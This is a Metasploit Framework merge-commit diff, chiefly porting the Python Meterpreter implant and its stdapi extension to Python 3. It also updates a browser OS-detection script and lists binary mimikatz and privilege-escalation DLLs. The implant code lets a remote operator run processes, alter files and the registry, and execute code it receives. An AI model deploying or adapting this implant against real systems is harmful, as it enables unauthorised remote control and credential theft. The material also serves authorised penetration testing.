Merge branch 'upstream/master' into meatballs x64_injection

bug/bundler_fix
OJ 2014-06-18 10:24:33 +10:00
commit 5879ca3340
No known key found for this signature in database
GPG Key ID: 49EEE7511FAA5749
153 changed files with 4943 additions and 801 deletions

View File

@ -18,6 +18,7 @@ todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>

View File

@ -50,7 +50,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
#### Library Code

Binary file not shown.

Binary file not shown.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -20,6 +20,7 @@ arch_armle = "armle";
arch_x86 = "x86";
arch_x86_64 = "x86_64";
arch_ppc = "ppc";
arch_mipsle = "mipsle";
window.os_detect = {};
@ -184,9 +185,15 @@ window.os_detect.getVersion = function(){
} else if (platform.match(/arm/)) {
// Android and maemo
arch = arch_armle;
if (navigator.userAgent.match(/android/i)) {
os_flavor = 'Android';
}
} else if (platform.match(/x86/)) {
arch = arch_x86;
} else if (platform.match(/mips/)) {
arch = arch_mipsle;
}
if (navigator.userAgent.match(/android/i)) {
os_flavor = 'Android';
}
} else if (platform.match(/windows/)) {
os_name = oses_windows;

BIN
data/meterpreter/common.lib Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/elevator.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/elevator.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_espia.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_espia.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_extapi.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_extapi.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_incognito.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_incognito.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_kiwi.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_kiwi.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_lanattacks.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_lanattacks.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_mimikatz.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_mimikatz.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_priv.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_priv.x86.dll Executable file → Normal file

Binary file not shown.

View File

@ -48,6 +48,24 @@ try:
except ImportError:
has_winreg = False
try:
import winreg
has_winreg = True
except ImportError:
has_winreg = (has_winreg or False)
if sys.version_info[0] < 3:
is_str = lambda obj: issubclass(obj.__class__, str)
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
str = lambda x: __builtins__['str'](x, 'UTF-8')
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
if has_ctypes:
#
# Windows Structures
@ -498,11 +516,12 @@ def get_stat_buffer(path):
blocks = si.st_blocks
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
st_buf += struct.pack('<II', blksize, blocks)
return st_buf
def netlink_request(req_type):
import select
# See RFC 3549
NLM_F_REQUEST = 0x0001
NLM_F_ROOT = 0x0100
@ -513,17 +532,25 @@ def netlink_request(req_type):
sock.bind((os.getpid(), 0))
seq = int(time.time())
nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
sfd = os.fdopen(sock.fileno(), 'w+b')
sfd.write(nlmsg)
sock.send(nlmsg)
responses = []
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
return responses
raw_response_data = sock.recv(0xfffff)
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
while response.type != NLMSG_DONE:
if response.type == NLMSG_ERROR:
break
response_data = sfd.read(response.len - 16)
response_data = raw_response_data[:(response.len - 16)]
responses.append(response_data)
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
sfd.close()
raw_response_data = raw_response_data[len(response_data):]
if not len(raw_response_data):
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
break
raw_response_data = sock.recv(0xfffff)
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
sock.close()
return responses
@ -559,7 +586,7 @@ def channel_open_stdapi_fs_file(request, response):
else:
fmode = 'rb'
file_h = open(fpath, fmode)
channel_id = meterpreter.add_channel(file_h)
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@ -675,6 +702,7 @@ def stdapi_sys_process_execute(request, response):
proc_h.stderr = open(os.devnull, 'rb')
else:
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
proc_h.echo_protection = True
proc_h.start()
else:
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
@ -693,15 +721,15 @@ def stdapi_sys_process_getpid(request, response):
def stdapi_sys_process_get_processes_via_proc(request, response):
for pid in os.listdir('/proc'):
pgroup = ''
pgroup = bytes()
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
continue
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
status_data = filter(lambda x: len(x) == 2, status_data)
status = {}
for k, v in status_data:
for k, v in filter(lambda x: len(x) == 2, status_data):
status[k[:-1]] = v.strip()
ppid = status.get('PPid')
uid = status.get('Uid').split('\t', 1)[0]
@ -725,14 +753,14 @@ def stdapi_sys_process_get_processes_via_proc(request, response):
def stdapi_sys_process_get_processes_via_ps(request, response):
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
ps_output = proc_h.stdout.read()
ps_output = str(proc_h.stdout.read())
ps_output = ps_output.split('\n')
ps_output.pop(0)
for process in ps_output:
process = process.split()
if len(process) < 4:
break
pgroup = ''
pgroup = bytes()
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
@ -793,7 +821,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
use = ctypes.c_ulong()
use.value = 0
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
complete_username = str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(username))
k32.CloseHandle(tkn_h)
parch = windll_GetNativeSystemInfo()
is_wow64 = ctypes.c_ubyte()
@ -802,7 +830,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
if is_wow64.value:
parch = PROCESS_ARCH_X86
pgroup = ''
pgroup = bytes()
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
@ -850,16 +878,18 @@ def stdapi_fs_delete_dir(request, response):
@meterpreter.register_function
def stdapi_fs_delete_file(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.unlink(file_path)
if os.path.exists(file_path):
os.unlink(file_path)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_file_expand_path(request, response):
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if has_windll:
path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
path_out = (ctypes.c_char * 4096)()
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
result = ''.join(path_out)[:path_out_len]
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
result = str(ctypes.string_at(path_out))
elif path_tlv == '%COMSPEC%':
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%']:
@ -912,7 +942,8 @@ def stdapi_fs_md5(request, response):
@meterpreter.register_function
def stdapi_fs_mkdir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
os.mkdir(dir_path)
if not os.path.isdir(dir_path):
os.mkdir(dir_path)
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -965,7 +996,7 @@ def stdapi_fs_stat(request, response):
@meterpreter.register_function
def stdapi_net_config_get_interfaces(request, response):
if hasattr(socket, 'AF_NETLINK'):
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
interfaces = stdapi_net_config_get_interfaces_via_netlink()
elif has_osxsc:
interfaces = stdapi_net_config_get_interfaces_via_osxsc()
@ -974,7 +1005,7 @@ def stdapi_net_config_get_interfaces(request, response):
else:
return ERROR_FAILURE, response
for iface_info in interfaces:
iface_tlv = ''
iface_tlv = bytes()
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
if 'mtu' in iface_info:
@ -1002,7 +1033,7 @@ def stdapi_net_config_get_interfaces_via_netlink():
0x0100: 'PROMISC',
0x1000: 'MULTICAST'
}
iface_flags_sorted = iface_flags.keys()
iface_flags_sorted = list(iface_flags.keys())
# Dictionaries don't maintain order
iface_flags_sorted.sort()
interfaces = {}
@ -1106,7 +1137,7 @@ def stdapi_net_config_get_interfaces_via_osxsc():
hw_addr = hw_addr.replace(':', '')
hw_addr = hw_addr.decode('hex')
iface_info['hw_addr'] = hw_addr
ifnames = interfaces.keys()
ifnames = list(interfaces.keys())
ifnames.sort()
for iface_name, iface_info in interfaces.items():
iface_info['index'] = ifnames.index(iface_name)
@ -1138,7 +1169,10 @@ def stdapi_net_config_get_interfaces_via_windll():
iface_info['index'] = AdapterAddresses.u.s.IfIndex
if AdapterAddresses.PhysicalAddressLength:
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
iface_info['name'] = str(ctypes.wstring_at(AdapterAddresses.Description))
iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
if not is_str(iface_desc):
iface_desc = str(iface_desc)
iface_info['name'] = iface_desc
iface_info['mtu'] = AdapterAddresses.Mtu
pUniAddr = AdapterAddresses.FirstUnicastAddress
while pUniAddr:
@ -1174,7 +1208,7 @@ def stdapi_net_config_get_interfaces_via_windll_mib():
table_data = ctypes.string_at(table, pdwSize.value)
entries = struct.unpack('I', table_data[:4])[0]
table_data = table_data[4:]
for i in xrange(entries):
for i in range(entries):
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
ifrow = MIB_IFROW()
ifrow.dwIndex = addrrow.dwIndex
@ -1244,9 +1278,10 @@ def stdapi_registry_close_key(request, response):
def stdapi_registry_create_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
res_key = ctypes.c_void_p()
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@ -1255,18 +1290,20 @@ def stdapi_registry_create_key(request, response):
def stdapi_registry_delete_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
if (flags & DELETE_KEY_FLAG_RECURSIVE):
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
else:
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_delete_value(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
return result, response
@meterpreter.register_function_windll
@ -1335,9 +1372,10 @@ def stdapi_registry_load_key(request, response):
def stdapi_registry_open_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
handle_id = ctypes.c_void_p()
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@ -1367,24 +1405,26 @@ def stdapi_registry_query_class(request, response):
@meterpreter.register_function_windll
def stdapi_registry_query_value(request, response):
REG_SZ = 1
REG_DWORD = 4
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = ctypes.c_uint32()
value_type.value = 0
value_data = (ctypes.c_ubyte * 4096)()
value_data_sz = ctypes.c_uint32()
value_data_sz.value = ctypes.sizeof(value_data)
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
if result == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
if value_type.value == REG_SZ:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
elif value_type.value == REG_DWORD:
if value_type.value == winreg.REG_SZ:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
elif value_type.value == winreg.REG_DWORD:
value = value_data[:4]
value.reverse()
value = ''.join(map(chr, value))
if sys.version_info[0] < 3:
value = ''.join(map(chr, value))
else:
value = bytes(value)
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
else:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
@ -1395,9 +1435,10 @@ def stdapi_registry_query_value(request, response):
def stdapi_registry_set_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
return result, response
@meterpreter.register_function_windll

BIN
data/meterpreter/ext_server_stdapi.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_stdapi.x86.dll Executable file → Normal file

Binary file not shown.

Binary file not shown.

View File

@ -1,12 +1,5 @@
#!/usr/bin/python
import code
try:
import ctypes
except:
has_windll = False
else:
has_windll = hasattr(ctypes, 'windll')
import os
import random
import select
@ -15,10 +8,30 @@ import struct
import subprocess
import sys
import threading
import time
import traceback
try:
import ctypes
except ImportError:
has_windll = False
else:
has_windll = hasattr(ctypes, 'windll')
if sys.version_info[0] < 3:
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
str = lambda x: __builtins__['str'](x, 'UTF-8')
NULL_BYTE = bytes('\x00', 'UTF-8')
#
# Constants
#
DEBUGGING = False
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
PACKET_TYPE_PLAIN_REQUEST = 10
@ -100,6 +113,7 @@ TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
EXPORTED_SYMBOLS = {}
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
def export(symbol):
EXPORTED_SYMBOLS[symbol.__name__] = symbol
@ -107,7 +121,7 @@ def export(symbol):
def generate_request_id():
chars = 'abcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(chars) for x in xrange(32))
return ''.join(random.choice(chars) for x in range(32))
@export
def inet_pton(family, address):
@ -125,25 +139,6 @@ def inet_pton(family, address):
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
@export
def packet_get_tlv(pkt, tlv_type):
offset = 0
while (offset < len(pkt)):
tlv = struct.unpack('>II', pkt[offset:offset+8])
if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = val.split('\x00', 1)[0]
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
val = bool(struct.unpack('b', val)[0])
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
pass
return {'type':tlv[1], 'length':tlv[0], 'value':val}
offset += tlv[0]
return {}
@export
def packet_enum_tlvs(pkt, tlv_type = None):
offset = 0
@ -152,7 +147,7 @@ def packet_enum_tlvs(pkt, tlv_type = None):
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = val.split('\x00', 1)[0]
val = str(val.split(NULL_BYTE, 1)[0])
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
@ -163,6 +158,14 @@ def packet_enum_tlvs(pkt, tlv_type = None):
offset += tlv[0]
raise StopIteration()
@export
def packet_get_tlv(pkt, tlv_type):
try:
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
except IndexError:
return {}
return tlv
@export
def tlv_pack(*args):
if len(args) == 2:
@ -170,20 +173,33 @@ def tlv_pack(*args):
else:
tlv = args[0]
data = ""
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00'
elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value'])))
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
return data
#@export
class MeterpreterFile(object):
def __init__(self, file_obj):
self.file_obj = file_obj
def __getattr__(self, name):
return getattr(self.file_obj, name)
export(MeterpreterFile)
#@export
class MeterpreterSocket(object):
def __init__(self, sock):
@ -208,11 +224,11 @@ class STDProcessBuffer(threading.Thread):
threading.Thread.__init__(self)
self.std = std
self.is_alive = is_alive
self.data = ''
self.data = bytes()
self.data_lock = threading.RLock()
def run(self):
for byte in iter(lambda: self.std.read(1), ''):
for byte in iter(lambda: self.std.read(1), bytes()):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
@ -220,15 +236,20 @@ class STDProcessBuffer(threading.Thread):
def is_read_ready(self):
return len(self.data) != 0
def read(self, l = None):
data = ''
def peek(self, l = None):
data = bytes()
self.data_lock.acquire()
if l == None:
data = self.data
self.data = ''
else:
data = self.data[0:l]
self.data = self.data[l:]
self.data_lock.release()
return data
def read(self, l = None):
self.data_lock.acquire()
data = self.peek(l)
self.data = self.data[len(data):]
self.data_lock.release()
return data
@ -236,12 +257,25 @@ class STDProcessBuffer(threading.Thread):
class STDProcess(subprocess.Popen):
def __init__(self, *args, **kwargs):
subprocess.Popen.__init__(self, *args, **kwargs)
self.echo_protection = False
def start(self):
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
self.stdout_reader.start()
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
self.stderr_reader.start()
def write(self, channel_data):
self.stdin.write(channel_data)
self.stdin.flush()
if self.echo_protection:
end_time = time.time() + 0.5
out_data = bytes()
while (time.time() < end_time) and (out_data != channel_data):
if self.stdout_reader.is_read_ready():
out_data = self.stdout_reader.peek(len(channel_data))
if out_data == channel_data:
self.stdout_reader.read(len(channel_data))
export(STDProcess)
class PythonMeterpreter(object):
@ -251,7 +285,7 @@ class PythonMeterpreter(object):
self.channels = {}
self.interact_channels = []
self.processes = {}
for func in filter(lambda x: x.startswith('_core'), dir(self)):
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func)
self.running = True
@ -265,6 +299,7 @@ class PythonMeterpreter(object):
return func
def add_channel(self, channel):
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
idx = 0
while idx in self.channels:
idx += 1
@ -286,7 +321,7 @@ class PythonMeterpreter(object):
break
req_length, req_type = struct.unpack('>II', request)
req_length -= 8
request = ''
request = bytes()
while len(request) < req_length:
request += self.socket.recv(4096)
response = self.create_response(request)
@ -294,17 +329,17 @@ class PythonMeterpreter(object):
else:
channels_for_removal = []
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = self.channels.keys()
channel_ids = list(self.channels.keys())
for channel_id in channel_ids:
channel = self.channels[channel_id]
data = ''
data = bytes()
if isinstance(channel, STDProcess):
if not channel_id in self.interact_channels:
continue
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.stderr_reader.is_read_ready():
if channel.stderr_reader.is_read_ready():
data = channel.stderr_reader.read()
elif channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, MeterpreterSocketClient):
@ -312,7 +347,7 @@ class PythonMeterpreter(object):
try:
d = channel.recv(1)
except socket.error:
d = ''
d = bytes()
if len(d) == 0:
self.handle_dead_resource_channel(channel_id)
break
@ -357,13 +392,13 @@ class PythonMeterpreter(object):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE
preloadlib_methods = self.extension_functions.keys()
preloadlib_methods = list(self.extension_functions.keys())
symbols_for_extensions = {'meterpreter':self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
i.runcode(compile(data_tlv['value'], '', 'exec'))
postloadlib_methods = self.extension_functions.keys()
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
postloadlib_methods = list(self.extension_functions.keys())
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
for method in new_methods:
response += tlv_pack(TLV_TYPE_METHOD, method)
return ERROR_SUCCESS, response
@ -386,10 +421,10 @@ class PythonMeterpreter(object):
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
if isinstance(channel, file):
channel.close()
elif isinstance(channel, subprocess.Popen):
if isinstance(channel, subprocess.Popen):
channel.kill()
elif isinstance(channel, MeterpreterFile):
channel.close()
elif isinstance(channel, MeterpreterSocket):
channel.close()
else:
@ -405,7 +440,7 @@ class PythonMeterpreter(object):
return ERROR_FAILURE, response
channel = self.channels[channel_id]
result = False
if isinstance(channel, file):
if isinstance(channel, MeterpreterFile):
result = channel.tell() >= os.fstat(channel.fileno()).st_size
response += tlv_pack(TLV_TYPE_BOOL, result)
return ERROR_SUCCESS, response
@ -432,13 +467,13 @@ class PythonMeterpreter(object):
return ERROR_FAILURE, response
channel = self.channels[channel_id]
data = ''
if isinstance(channel, file):
data = channel.read(length)
